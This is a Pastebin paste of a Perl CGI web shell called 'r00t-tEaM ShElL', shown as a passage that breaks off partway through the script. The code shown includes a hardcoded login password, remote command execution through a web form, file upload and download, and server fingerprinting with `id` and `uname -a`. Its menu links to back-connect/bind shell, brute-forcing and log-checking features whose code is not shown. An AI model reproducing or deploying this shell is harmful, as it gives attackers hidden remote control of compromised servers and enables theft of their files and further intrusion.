API tools faq
paste
parkdream1

r00t.pl

parkdream1
Feb 29th, 2012
536
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 53.08 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl -I/usr/local/bandmin
  2.  
  3. use MIME::Base64;
  4.  
  5. $Version= "r00t-tEaM ShElL";
  6.  
  7. $EditPersion="<font style='text-shadow: 0px 0px 6px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0), 0px 0px 5px rgb(255, 0, 0); color:#ffffff; font-weight:bold;'>r00t-tEaM</font>";
  8.  
  9.  
  10.  
  11. $Password = "r00t";         # Change this. You will need to enter this
  12.  
  13.                 # to login.
  14.  
  15. sub Is_Win(){
  16.  
  17.     $os = &trim($ENV{"SERVER_SOFTWARE"});
  18.  
  19.     if($os =~ m/win/i){
  20.  
  21.         return 1;
  22.  
  23.     }else{
  24.  
  25.         return 0;
  26.  
  27.     }
  28.  
  29. }
  30.  
  31. $WinNT = &Is_Win();         # You need to change the value of this to 1 if
  32.  
  33.                     # you're running this script on a Windows NT
  34.  
  35.                     # machine. If you're running it on Unix, you
  36.  
  37.                     # can leave the value as it is.
  38.  
  39.  
  40.  
  41. $NTCmdSep = "&";            # This character is used to seperate 2 commands
  42.  
  43.                     # in a command line on Windows NT.
  44.  
  45.  
  46.  
  47. $UnixCmdSep = ";";          # This character is used to seperate 2 commands
  48.  
  49.                     # in a command line on Unix.
  50.  
  51.  
  52.  
  53. $CommandTimeoutDuration = 10;       # Time in seconds after commands will be killed
  54.  
  55.                     # Don't set this to a very large value. This is
  56.  
  57.                     # useful for commands that may hang or that
  58.  
  59.                     # take very long to execute, like "find /".
  60.  
  61.                     # This is valid only on Unix servers. It is
  62.  
  63.                     # ignored on NT Servers.
  64.  
  65.  
  66.  
  67. $ShowDynamicOutput = 1;         # If this is 1, then data is sent to the
  68.  
  69.                     # browser as soon as it is output, otherwise
  70.  
  71.                     # it is buffered and send when the command
  72.  
  73.                     # completes. This is useful for commands like
  74.  
  75.                     # ping, so that you can see the output as it
  76.  
  77.                     # is being generated.
  78.  
  79.  
  80.  
  81. # DON'T CHANGE ANYTHING BELOW THIS LINE UNLESS YOU KNOW WHAT YOU'RE DOING !!
  82.  
  83.  
  84.  
  85. $CmdSep = ($WinNT ? $NTCmdSep : $UnixCmdSep);
  86.  
  87. $CmdPwd = ($WinNT ? "cd" : "pwd");
  88.  
  89. $PathSep = ($WinNT ? "\\" : "/");
  90.  
  91. $Redirector = ($WinNT ? " 2>&1 1>&2" : " 1>&1 2>&1");
  92.  
  93. $cols= 130;
  94.  
  95. $rows= 26;
  96.  
  97. #------------------------------------------------------------------------------
  98.  
  99. # Reads the input sent by the browser and parses the input variables. It
  100.  
  101. # parses GET, POST and multipart/form-data that is used for uploading files.
  102.  
  103. # The filename is stored in $in{'f'} and the data is stored in $in{'filedata'}.
  104.  
  105. # Other variables can be accessed using $in{'var'}, where var is the name of
  106.  
  107. # the variable. Note: Most of the code in this function is taken from other CGI
  108.  
  109. # scripts.
  110.  
  111. #------------------------------------------------------------------------------
  112.  
  113. sub ReadParse
  114.  
  115. {
  116.  
  117.     local (*in) = @_ if @_;
  118.  
  119.     local ($i, $loc, $key, $val);
  120.  
  121.     $MultipartFormData = $ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/;
  122.  
  123.     if($ENV{'REQUEST_METHOD'} eq "GET")
  124.  
  125.     {
  126.  
  127.         $in = $ENV{'QUERY_STRING'};
  128.  
  129.     }
  130.  
  131.     elsif($ENV{'REQUEST_METHOD'} eq "POST")
  132.  
  133.     {
  134.  
  135.         binmode(STDIN) if $MultipartFormData & $WinNT;
  136.  
  137.         read(STDIN, $in, $ENV{'CONTENT_LENGTH'});
  138.  
  139.     }
  140.  
  141.     # handle file upload data
  142.  
  143.     if($ENV{'CONTENT_TYPE'} =~ /multipart\/form-data; boundary=(.+)$/)
  144.  
  145.     {
  146.  
  147.         $Boundary = '--'.$1; # please refer to RFC1867
  148.  
  149.         @list = split(/$Boundary/, $in);
  150.  
  151.         $HeaderBody = $list[1];
  152.  
  153.         $HeaderBody =~ /\r\n\r\n|\n\n/;
  154.  
  155.         $Header = $`;
  156.  
  157.         $Body = $';
  158.  
  159.         $Body =~ s/\r\n$//; # the last \r\n was put in by Netscape
  160.  
  161.         $in{'filedata'} = $Body;
  162.  
  163.         $Header =~ /filename=\"(.+)\"/;
  164.  
  165.         $in{'f'} = $1;
  166.  
  167.         $in{'f'} =~ s/\"//g;
  168.  
  169.         $in{'f'} =~ s/\s//g;
  170.  
  171.  
  172.  
  173.         # parse trailer
  174.  
  175.         for($i=2; $list[$i]; $i++)
  176.  
  177.         {
  178.  
  179.             $list[$i] =~ s/^.+name=$//;
  180.  
  181.             $list[$i] =~ /\"(\w+)\"/;
  182.  
  183.             $key = $1;
  184.  
  185.             $val = $';
  186.  
  187.             $val =~ s/(^(\r\n\r\n|\n\n))|(\r\n$|\n$)//g;
  188.  
  189.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  190.  
  191.             $in{$key} = $val;
  192.  
  193.         }
  194.  
  195.     }
  196.  
  197.     else # standard post data (url encoded, not multipart)
  198.  
  199.     {
  200.  
  201.         @in = split(/&/, $in);
  202.  
  203.         foreach $i (0 .. $#in)
  204.  
  205.         {
  206.  
  207.             $in[$i] =~ s/\+/ /g;
  208.  
  209.             ($key, $val) = split(/=/, $in[$i], 2);
  210.  
  211.             $key =~ s/%(..)/pack("c", hex($1))/ge;
  212.  
  213.             $val =~ s/%(..)/pack("c", hex($1))/ge;
  214.  
  215.             $in{$key} .= "\0" if (defined($in{$key}));
  216.  
  217.             $in{$key} .= $val;
  218.  
  219.         }
  220.  
  221.     }
  222.  
  223. }
  224.  
  225. #------------------------------------------------------------------------------
  226.  
  227. # function EncodeDir: encode base64 Path
  228.  
  229. #------------------------------------------------------------------------------
  230.  
  231. sub EncodeDir
  232.  
  233. {
  234.  
  235.     my $dir = shift;
  236.  
  237.     $dir = trim(encode_base64($dir));
  238.  
  239.     $dir =~ s/(\r|\n)//;
  240.  
  241.     return $dir;
  242.  
  243. }
  244.  
  245. #------------------------------------------------------------------------------
  246.  
  247. # Prints the HTML Page Header
  248.  
  249. # Argument 1: Form item name to which focus should be set
  250.  
  251. #------------------------------------------------------------------------------
  252.  
  253. sub PrintPageHeader
  254.  
  255. {
  256.  
  257.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  258.  
  259.     my $id = `id` if(!$WinNT);
  260.  
  261.     my $info = `uname -a`;
  262.  
  263.     print "Content-type: text/html\n\n";
  264.  
  265.     print <<END;
  266.  
  267. <html>
  268.  
  269. <head>
  270.  
  271. <meta http-equiv="content-type" content="text/html; charset=UTF-8">
  272.  
  273. <title>o---[ $Version ]---o</title>
  274.  
  275. $HtmlMetaHeader
  276.  
  277. </head>
  278.  
  279. <style>
  280.  
  281. body{
  282.  
  283. font: 10pt Verdana;
  284.  
  285. color: #fff;
  286.  
  287. }
  288.  
  289. tr,td,table,input,textarea {
  290.  
  291. BORDER-RIGHT:  #3e3e3e 1px solid;
  292.  
  293. BORDER-TOP:    #3e3e3e 1px solid;
  294.  
  295. BORDER-LEFT:   #3e3e3e 1px solid;
  296.  
  297. BORDER-BOTTOM: #3e3e3e 1px solid;
  298.  
  299. }
  300.  
  301. #domain tr:hover{
  302.  
  303. background-color: #444;
  304.  
  305. }
  306.  
  307. td {
  308.  
  309. color: #2BA8EC;
  310.  
  311. }
  312.  
  313. .listdir td{
  314.  
  315.     text-align: center;
  316.  
  317. }
  318.  
  319. .listdir th{
  320.  
  321.     color: #FF9900;
  322.  
  323. }
  324.  
  325. .dir,.file
  326.  
  327. {
  328.  
  329.     text-align: left !important;
  330.  
  331. }
  332.  
  333. .dir{
  334.  
  335.     font-size: 10pt;
  336.  
  337.     font-weight: bold;
  338.  
  339. }
  340.  
  341. table {
  342.  
  343. BACKGROUND-COLOR: #111;
  344.  
  345. }
  346.  
  347. input {
  348.  
  349. BACKGROUND-COLOR: Black;
  350.  
  351. color: #ff9900;
  352.  
  353. }
  354.  
  355. input.submit {
  356.  
  357. text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  358.  
  359. color: #FFFFFF;
  360.  
  361. border-color: #009900;
  362.  
  363. }
  364.  
  365. code {
  366.  
  367. border: dashed 0px #333;
  368.  
  369. color: while;
  370.  
  371. }
  372.  
  373. run {
  374.  
  375. border          : dashed 0px #333;
  376.  
  377. color: #FF00AA;
  378.  
  379. }
  380.  
  381. textarea {
  382.  
  383. BACKGROUND-COLOR: #1b1b1b;
  384.  
  385. font: Fixedsys bold;
  386.  
  387. color: #aaa;
  388.  
  389. }
  390.  
  391. A:link {
  392.  
  393.     COLOR: #2BA8EC; TEXT-DECORATION: none
  394.  
  395. }
  396.  
  397. A:visited {
  398.  
  399.     COLOR: #2BA8EC; TEXT-DECORATION: none
  400.  
  401. }
  402.  
  403. A:hover {
  404.  
  405.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  406.  
  407.     color: #FFFFFF; TEXT-DECORATION: none
  408.  
  409. }
  410.  
  411. A:active {
  412.  
  413.     color: Red; TEXT-DECORATION: none
  414.  
  415. }
  416.  
  417. .listdir tr:hover{
  418.  
  419.     background: #444;
  420.  
  421. }
  422.  
  423. .listdir tr:hover td{
  424.  
  425.     background: #444;
  426.  
  427.     text-shadow: 0pt 0pt 0.3em cyan, 0pt 0pt 0.3em cyan;
  428.  
  429.     color: #FFFFFF; TEXT-DECORATION: none;
  430.  
  431. }
  432.  
  433. .notline{
  434.  
  435.     background: #111;
  436.  
  437. }
  438.  
  439. .line{
  440.  
  441.     background: #222;
  442.  
  443. }
  444.  
  445. </style>
  446.  
  447. <script language="javascript">
  448.  
  449. function Encoder(name)
  450.  
  451. {
  452.  
  453.     var e =  document.getElementById(name);
  454.  
  455.     e.value = btoa(e.value);
  456.  
  457.     return true;
  458.  
  459. }
  460.  
  461. function chmod_form(i,file)
  462.  
  463. {
  464.  
  465.     document.getElementById("FilePerms_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=chmod type=text size=5 /><input type=submit class='submit' value=OK><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  466.  
  467.     document.getElementById("text_" + i).focus();
  468.  
  469. }
  470.  
  471. function rm_chmod_form(response,i,perms,file)
  472.  
  473. {
  474.  
  475.     response.innerHTML = "<span onclick=\\\"chmod_form(" + i + ",'"+ file+ "')\\\" >"+ perms +"</span></td>";
  476.  
  477. }
  478.  
  479. function rename_form(i,file,f)
  480.  
  481. {
  482.  
  483.     f.replace(/\\\\/g,"\\\\\\\\");
  484.  
  485.     var back="rm_rename_form("+i+",\\\""+file+"\\\",\\\""+f+"\\\"); return false;";
  486.  
  487.     document.getElementById("File_"+i).innerHTML="<form name=FormPerms_" + i+ " action='' method='POST'><input id=text_" + i + "  name=rename type=text value= '"+file+"' /><input type=submit class='submit' value=OK><input type=submit class='submit' onclick='" + back + "' value=Cancel><input type=hidden name=a value='gui'><input type=hidden name=d value='$EncodeCurrentDir'><input type=hidden name=f value='"+file+"'></form>";
  488.  
  489.     document.getElementById("text_" + i).focus();
  490.  
  491. }
  492.  
  493. function rm_rename_form(i,file,f)
  494.  
  495. {
  496.  
  497.     if(f=='f')
  498.  
  499.     {
  500.  
  501.         document.getElementById("File_"+i).innerHTML="<a href='?a=command&d=$EncodeCurrentDir&c=edit%20"+file+"%20'>" +file+ "</a>";
  502.  
  503.     }else
  504.  
  505.     {
  506.  
  507.         document.getElementById("File_"+i).innerHTML="<a href='?a=gui&d="+f+"'>[ " +file+ " ]</a>";
  508.  
  509.     }
  510.  
  511. }
  512.  
  513. </script>
  514.  
  515. <body onLoad="document.f.@_.focus()" bgcolor="#0c0c0c" topmargin="0" leftmargin="0" marginwidth="0" marginheight="0">
  516.  
  517. <center><code>
  518.  
  519. <table border="1" width="100%" cellspacing="0" cellpadding="2">
  520.  
  521. <tr>
  522.  
  523.     <td align="center" rowspan=3>
  524.  
  525.         <b><font size="3">o---[  $EditPersion ]---o</font></b>
  526.  
  527.     </td>
  528.  
  529.     <td>
  530.  
  531.         $info
  532.  
  533.     </td>
  534.  
  535.     <td>Server IP:<font color="#ff9900"> $ENV{'SERVER_ADDR'}</font> | Your IP: <font color="#ff9900">$ENV{'REMOTE_ADDR'}</font>
  536.  
  537.     </td>
  538.  
  539. </tr>
  540.  
  541. <tr>
  542.  
  543. <td colspan="2">
  544.  
  545. <a href="$ScriptLocation">Home</a> |
  546.  
  547. <a href="$ScriptLocation?a=command&d=$EncodeCurrentDir">Command</a> |
  548.  
  549. <a href="$ScriptLocation?a=gui&d=$EncodeCurrentDir">GUI</a> |
  550.  
  551. <a href="$ScriptLocation?a=upload&d=$EncodeCurrentDir">Upload File</a> |
  552.  
  553. <a href="$ScriptLocation?a=download&d=$EncodeCurrentDir">Download File</a> |
  554.  
  555. <a href="$ScriptLocation?a=backbind">Back & Bind</a> |
  556.  
  557. <a href="$ScriptLocation?a=bruteforcer">Brute Forcer</a> |
  558.  
  559. <a href="$ScriptLocation?a=checklog">Check Log</a> |
  560.  
  561. <a href="$ScriptLocation?a=domainsuser">Domains/Users</a> |
  562.  
  563. <a href="$ScriptLocation?a=logout">Logout</a> |
  564.  
  565. <a target='_blank' href="http://r00t-team.blogspot.com">Help</a>
  566.  
  567. </td>
  568.  
  569. </tr>
  570.  
  571. <tr>
  572.  
  573. <td colspan="2">
  574.  
  575. $id
  576.  
  577. </td>
  578.  
  579. </tr>
  580.  
  581. </table>
  582.  
  583. <font id="ResponseData" color="#FFFFFF" >
  584.  
  585. END
  586.  
  587. }
  588.  
  589. #------------------------------------------------------------------------------
  590.  
  591. # Prints the Login Screen
  592.  
  593. #------------------------------------------------------------------------------
  594.  
  595. sub PrintLoginScreen
  596.  
  597. {
  598.  
  599.     print <<END;
  600.  
  601. <pre><script type="text/javascript">
  602.  
  603. TypingText = function(element, interval, cursor, finishedCallback) {
  604.  
  605.   if((typeof document.getElementById == "undefined") || (typeof element.innerHTML == "undefined")) {
  606.  
  607.     this.running = true;    // Never run.
  608.  
  609.     return;
  610.  
  611.   }
  612.  
  613.   this.element = element;
  614.  
  615.   this.finishedCallback = (finishedCallback ? finishedCallback : function() { return; });
  616.  
  617.   this.interval = (typeof interval == "undefined" ? 100 : interval);
  618.  
  619.   this.origText = this.element.innerHTML;
  620.  
  621.   this.unparsedOrigText = this.origText;
  622.  
  623.   this.cursor = (cursor ? cursor : "");
  624.  
  625.   this.currentText = "";
  626.  
  627.   this.currentChar = 0;
  628.  
  629.   this.element.typingText = this;
  630.  
  631.   if(this.element.id == "") this.element.id = "typingtext" + TypingText.currentIndex++;
  632.  
  633.   TypingText.all.push(this);
  634.  
  635.   this.running = false;
  636.  
  637.   this.inTag = false;
  638.  
  639.   this.tagBuffer = "";
  640.  
  641.   this.inHTMLEntity = false;
  642.  
  643.   this.HTMLEntityBuffer = "";
  644.  
  645. }
  646.  
  647. TypingText.all = new Array();
  648.  
  649. TypingText.currentIndex = 0;
  650.  
  651. TypingText.runAll = function() {
  652.  
  653.   for(var i = 0; i < TypingText.all.length; i++) TypingText.all[i].run();
  654.  
  655. }
  656.  
  657. TypingText.prototype.run = function() {
  658.  
  659.   if(this.running) return;
  660.  
  661.   if(typeof this.origText == "undefined") {
  662.  
  663.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);   // We haven't finished loading yet.  Have patience.
  664.  
  665.     return;
  666.  
  667.   }
  668.  
  669.   if(this.currentText == "") this.element.innerHTML = "";
  670.  
  671. //  this.origText = this.origText.replace(/<([^<])*>/, "");     // Strip HTML from text.
  672.  
  673.   if(this.currentChar < this.origText.length) {
  674.  
  675.     if(this.origText.charAt(this.currentChar) == "<" && !this.inTag) {
  676.  
  677.       this.tagBuffer = "<";
  678.  
  679.       this.inTag = true;
  680.  
  681.       this.currentChar++;
  682.  
  683.       this.run();
  684.  
  685.       return;
  686.  
  687.     } else if(this.origText.charAt(this.currentChar) == ">" && this.inTag) {
  688.  
  689.       this.tagBuffer += ">";
  690.  
  691.       this.inTag = false;
  692.  
  693.       this.currentText += this.tagBuffer;
  694.  
  695.       this.currentChar++;
  696.  
  697.       this.run();
  698.  
  699.       return;
  700.  
  701.     } else if(this.inTag) {
  702.  
  703.       this.tagBuffer += this.origText.charAt(this.currentChar);
  704.  
  705.       this.currentChar++;
  706.  
  707.       this.run();
  708.  
  709.       return;
  710.  
  711.     } else if(this.origText.charAt(this.currentChar) == "&" && !this.inHTMLEntity) {
  712.  
  713.       this.HTMLEntityBuffer = "&";
  714.  
  715.       this.inHTMLEntity = true;
  716.  
  717.       this.currentChar++;
  718.  
  719.       this.run();
  720.  
  721.       return;
  722.  
  723.     } else if(this.origText.charAt(this.currentChar) == ";" && this.inHTMLEntity) {
  724.  
  725.       this.HTMLEntityBuffer += ";";
  726.  
  727.       this.inHTMLEntity = false;
  728.  
  729.       this.currentText += this.HTMLEntityBuffer;
  730.  
  731.       this.currentChar++;
  732.  
  733.       this.run();
  734.  
  735.       return;
  736.  
  737.     } else if(this.inHTMLEntity) {
  738.  
  739.       this.HTMLEntityBuffer += this.origText.charAt(this.currentChar);
  740.  
  741.       this.currentChar++;
  742.  
  743.       this.run();
  744.  
  745.       return;
  746.  
  747.     } else {
  748.  
  749.       this.currentText += this.origText.charAt(this.currentChar);
  750.  
  751.     }
  752.  
  753.     this.element.innerHTML = this.currentText;
  754.  
  755.     this.element.innerHTML += (this.currentChar < this.origText.length - 1 ? (typeof this.cursor == "function" ? this.cursor(this.currentText) : this.cursor) : "");
  756.  
  757.     this.currentChar++;
  758.  
  759.     setTimeout("document.getElementById('" + this.element.id + "').typingText.run()", this.interval);
  760.  
  761.   } else {
  762.  
  763.     this.currentText = "";
  764.  
  765.     this.currentChar = 0;
  766.  
  767.         this.running = false;
  768.  
  769.         this.finishedCallback();
  770.  
  771.   }
  772.  
  773. }
  774.  
  775. </script>
  776.  
  777. </pre>
  778.  
  779. <font style="font: 15pt Verdana; color: yellow;">Copyright (C) 20012 r00t-tEaM </font><br><br>
  780.  
  781. <table align="center" border="1" width="600" heigh>
  782.  
  783. <tbody><tr>
  784.  
  785. <td valign="top" background="http://4.bp.blogspot.com/-I8nfP9MjATw/T05xLcXIkBI/AAAAAAAAANs/8XHcLFvkcBk/s1600/matran.gif"><p id="hack" style="margin-left: 3px;">
  786.  
  787. <font color="#009900"> Please Wait . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . </font> <br>
  788.  
  789. <font color="#009900"> Trying connect to Server . . . . . . . . . . . . . . . . . . . . . . . . </font><br>
  790.  
  791. <font color="#F00000"><font color="#FFF000">~\$</font> Connected ! </font><br>
  792.  
  793. <font color="#009900"><font color="#FFF000">$ServerName~</font> Checking Server . . . . . . . . . . . . . . . . . . .</font> <br>
  794.  
  795. <font color="#009900"><font color="#FFF000">$ServerName~</font> Trying connect to Command . . . . . . . . . . . . . .</font><br>
  796.  
  797. <font color="#F00000"><font color="#FFF000">$ServerName~</font>\$ Connected Command! </font><br>
  798.  
  799. <font color="#009900"><font color="#FFF000">$ServerName~<font color="#F00000">\$</font></font> OK! You can kill it!</font>
  800.  
  801. </tr>
  802.  
  803. </tbody></table>
  804.  
  805. <br>
  806.  
  807.  
  808.  
  809. <script type="text/javascript">
  810.  
  811. new TypingText(document.getElementById("hack"), 30, function(i){ var ar = new Array("_",""); return " " + ar[i.length % ar.length]; });
  812.  
  813. TypingText.runAll();
  814.  
  815.  
  816.  
  817. </script>
  818.  
  819. END
  820.  
  821. }
  822.  
  823. #------------------------------------------------------------------------------
  824.  
  825. # encode html special chars
  826.  
  827. #------------------------------------------------------------------------------
  828.  
  829. sub UrlEncode($){
  830.  
  831.     my $str = shift;
  832.  
  833.     $str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
  834.  
  835.     return $str;
  836.  
  837. }
  838.  
  839. #------------------------------------------------------------------------------
  840.  
  841. # Add html special chars
  842.  
  843. #------------------------------------------------------------------------------
  844.  
  845. sub HtmlSpecialChars($){
  846.  
  847.     my $text = shift;
  848.  
  849.     $text =~ s/&/&amp;/g;
  850.  
  851.     $text =~ s/"/&quot;/g;
  852.  
  853.     $text =~ s/'/&#039;/g;
  854.  
  855.     $text =~ s/</&lt;/g;
  856.  
  857.     $text =~ s/>/&gt;/g;
  858.  
  859.     return $text;
  860.  
  861. }
  862.  
  863. #------------------------------------------------------------------------------
  864.  
  865. # Add link for directory
  866.  
  867. #------------------------------------------------------------------------------
  868.  
  869. sub AddLinkDir($)
  870.  
  871. {
  872.  
  873.     my $ac=shift;
  874.  
  875.     my @dir=();
  876.  
  877.     if($WinNT)
  878.  
  879.     {
  880.  
  881.         @dir=split(/\\/,$CurrentDir);
  882.  
  883.     }else
  884.  
  885.     {
  886.  
  887.         @dir=split("/",&trim($CurrentDir));
  888.  
  889.     }
  890.  
  891.     my $path="";
  892.  
  893.     my $result="";
  894.  
  895.     foreach (@dir)
  896.  
  897.     {
  898.  
  899.         $path .= $_.$PathSep;
  900.  
  901.         $result.="<a href='?a=".$ac."&d=".encode_base64($path)."'>".$_.$PathSep."</a>";
  902.  
  903.     }
  904.  
  905.     return $result;
  906.  
  907. }
  908.  
  909. #------------------------------------------------------------------------------
  910.  
  911. # Prints the message that informs the user of a failed login
  912.  
  913. #------------------------------------------------------------------------------
  914.  
  915. sub PrintLoginFailedMessage
  916.  
  917. {
  918.  
  919.     print <<END;
  920.  
  921. <br>Login : r00t-tEaM<br>
  922.  
  923.  
  924.  
  925. Password:<br>
  926.  
  927. Login incorrect<br><br>
  928.  
  929. END
  930.  
  931. }
  932.  
  933.  
  934.  
  935. #------------------------------------------------------------------------------
  936.  
  937. # Prints the HTML form for logging in
  938.  
  939. #------------------------------------------------------------------------------
  940.  
  941. sub PrintLoginForm
  942.  
  943. {
  944.  
  945.     print <<END;
  946.  
  947. <form name="f" method="POST" action="$ScriptLocation">
  948.  
  949. <input type="hidden" name="a" value="login">
  950.  
  951. Login : r00t-tEaM<br>
  952.  
  953. Password:<input type="password" name="p">
  954.  
  955. <input class="submit" type="submit" value="Enter">
  956.  
  957. </form>
  958.  
  959. END
  960.  
  961. }
  962.  
  963. #------------------------------------------------------------------------------
  964.  
  965. # Prints the footer for the HTML Page
  966.  
  967. #------------------------------------------------------------------------------
  968.  
  969. sub PrintPageFooter
  970.  
  971. {
  972.  
  973.     print "<br><font color=red>o---[  <font color=#ff9900>Edit by $EditPersion </font>  ]---o</font></code></center></body></html>";
  974.  
  975. }
  976.  
  977. #------------------------------------------------------------------------------
  978.  
  979. # Retreives the values of all cookies. The cookies can be accesses using the
  980.  
  981. # variable $Cookies{''}
  982.  
  983. #------------------------------------------------------------------------------
  984.  
  985. sub GetCookies
  986.  
  987. {
  988.  
  989.     @httpcookies = split(/; /,$ENV{'HTTP_COOKIE'});
  990.  
  991.     foreach $cookie(@httpcookies)
  992.  
  993.     {
  994.  
  995.         ($id, $val) = split(/=/, $cookie);
  996.  
  997.         $Cookies{$id} = $val;
  998.  
  999.     }
  1000.  
  1001. }
  1002.  
  1003. #------------------------------------------------------------------------------
  1004.  
  1005. # Prints the screen when the user logs out
  1006.  
  1007. #------------------------------------------------------------------------------
  1008.  
  1009. sub PrintLogoutScreen
  1010.  
  1011. {
  1012.  
  1013.     print "Connection closed by foreign host.<br><br>";
  1014.  
  1015. }
  1016.  
  1017.  
  1018.  
  1019. #------------------------------------------------------------------------------
  1020.  
  1021. # Logs out the user and allows the user to login again
  1022.  
  1023. #------------------------------------------------------------------------------
  1024.  
  1025. sub PerformLogout
  1026.  
  1027. {
  1028.  
  1029.     print "Set-Cookie: SAVEDPWD=;\n"; # remove password cookie
  1030.  
  1031.     &PrintPageHeader("p");
  1032.  
  1033.     &PrintLogoutScreen;
  1034.  
  1035.  
  1036.  
  1037.     &PrintLoginScreen;
  1038.  
  1039.     &PrintLoginForm;
  1040.  
  1041.     &PrintPageFooter;
  1042.  
  1043.     exit;
  1044.  
  1045. }
  1046.  
  1047.  
  1048.  
  1049. #------------------------------------------------------------------------------
  1050.  
  1051. # This function is called to login the user. If the password matches, it
  1052.  
  1053. # displays a page that allows the user to run commands. If the password doens't
  1054.  
  1055. # match or if no password is entered, it displays a form that allows the user
  1056.  
  1057. # to login
  1058.  
  1059. #------------------------------------------------------------------------------
  1060.  
  1061. sub PerformLogin
  1062.  
  1063. {
  1064.  
  1065.     if($LoginPassword eq $Password) # password matched
  1066.  
  1067.     {
  1068.  
  1069.         print "Set-Cookie: SAVEDPWD=$LoginPassword;\n";
  1070.  
  1071.         &PrintPageHeader;
  1072.  
  1073.         print &ListDir;
  1074.  
  1075.     }
  1076.  
  1077.     else # password didn't match
  1078.  
  1079.     {
  1080.  
  1081.         &PrintPageHeader("p");
  1082.  
  1083.         &PrintLoginScreen;
  1084.  
  1085.         if($LoginPassword ne "") # some password was entered
  1086.  
  1087.         {
  1088.  
  1089.             &PrintLoginFailedMessage;
  1090.  
  1091.  
  1092.  
  1093.         }
  1094.  
  1095.         &PrintLoginForm;
  1096.  
  1097.         &PrintPageFooter;
  1098.  
  1099.         exit;
  1100.  
  1101.     }
  1102.  
  1103. }
  1104.  
  1105. #------------------------------------------------------------------------------
  1106.  
  1107. # Prints the HTML form that allows the user to enter commands
  1108.  
  1109. #------------------------------------------------------------------------------
  1110.  
  1111. sub PrintCommandLineInputForm
  1112.  
  1113. {
  1114.  
  1115.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1116.  
  1117.     my $dir= "<span style='font: 11pt Verdana; font-weight: bold;'>".&AddLinkDir("command")."</span>";
  1118.  
  1119.     $Prompt = $WinNT ? "$dir > " : "<font color='#FFFFFF'>[admin\@$ServerName $dir]\$</font> ";
  1120.  
  1121.     return <<END;
  1122.  
  1123. <form name="f" method="POST" action="$ScriptLocation" onSubmit="Encoder('c')">
  1124.  
  1125.  
  1126.  
  1127. <input type="hidden" name="a" value="command">
  1128.  
  1129.  
  1130.  
  1131. <input type="hidden" name="d" value="$EncodeCurrentDir">
  1132.  
  1133. $Prompt
  1134.  
  1135. <input type="text" size="40" name="c" id="c">
  1136.  
  1137. <input class="submit" type="submit" value="Enter">
  1138.  
  1139. </form>
  1140.  
  1141. END
  1142.  
  1143. }
  1144.  
  1145. #------------------------------------------------------------------------------
  1146.  
  1147. # Prints the HTML form that allows the user to download files
  1148.  
  1149. #------------------------------------------------------------------------------
  1150.  
  1151. sub PrintFileDownloadForm
  1152.  
  1153. {
  1154.  
  1155.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1156.  
  1157.     my $dir = &AddLinkDir("download");
  1158.  
  1159.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  1160.  
  1161.     return <<END;
  1162.  
  1163. <form name="f" method="POST" action="$ScriptLocation">
  1164.  
  1165. <input type="hidden" name="d" value="$EncodeCurrentDir">
  1166.  
  1167. <input type="hidden" name="a" value="download">
  1168.  
  1169. $Prompt download<br><br>
  1170.  
  1171. Filename: <input class="file" type="text" name="f" size="35"><br><br>
  1172.  
  1173. Download: <input class="submit" type="submit" value="Begin">
  1174.  
  1175.  
  1176.  
  1177. </form>
  1178.  
  1179. END
  1180.  
  1181. }
  1182.  
  1183.  
  1184.  
  1185. #------------------------------------------------------------------------------
  1186.  
  1187. # Prints the HTML form that allows the user to upload files
  1188.  
  1189. #------------------------------------------------------------------------------
  1190.  
  1191. sub PrintFileUploadForm
  1192.  
  1193. {
  1194.  
  1195.     $EncodeCurrentDir = EncodeDir($CurrentDir);
  1196.  
  1197.     my $dir= &AddLinkDir("upload");
  1198.  
  1199.     $Prompt = $WinNT ? "$dir > " : "[admin\@$ServerName $dir]\$ ";
  1200.  
  1201.     return <<END;
  1202.  
  1203. <form name="f" enctype="multipart/form-data" method="POST" action="$ScriptLocation">
  1204.  
  1205. $Prompt upload<br><br>
  1206.  
  1207. Filename: <input class="file" type="file" name="f" size="35"><br><br>
  1208.  
  1209. Options: &nbsp;<input type="checkbox" name="o" id="up" value="overwrite">
  1210.  
  1211. <label for="up">Overwrite if it Exists</label><br><br>
  1212.  
  1213. Upload:&nbsp;&nbsp;&nbsp;<input class="submit" type="submit" value="Begin">
  1214.  
  1215. <input type="hidden" name="d" value="$EncodeCurrentDir">
  1216.  
  1217. <input class="submit" type="hidden" name="a" value="upload">
  1218.  
  1219. </form>
  1220.  
  1221. END
  1222.  
  1223. }
  1224.  
  1225.  
  1226.  
  1227. #------------------------------------------------------------------------------
  1228.  
  1229. # This function is called when the timeout for a command expires. We need to
  1230.  
  1231. # terminate the script immediately. This function is valid only on Unix. It is
  1232.  
  1233. # never called when the script is running on NT.
  1234.  
  1235. #------------------------------------------------------------------------------
  1236.  
  1237. sub CommandTimeout
  1238.  
  1239. {
  1240.  
  1241.     if(!$WinNT)
  1242.  
  1243.     {
  1244.  
  1245.         alarm(0);
  1246.  
  1247.         return <<END;
  1248.  
  1249. </textarea>
  1250.  
  1251. <br><font color=yellow>
  1252.  
  1253. Command exceeded maximum time of $CommandTimeoutDuration second(s).</font>
  1254.  
  1255. <br><font size='6' color=red>Killed it!</font>
  1256.  
  1257. END
  1258.  
  1259.     }
  1260.  
  1261. }
  1262.  
  1263. #------------------------------------------------------------------------------
  1264.  
  1265. # This function displays the page that contains a link which allows the user
  1266.  
  1267. # to download the specified file. The page also contains a auto-refresh
  1268.  
  1269. # feature that starts the download automatically.
  1270.  
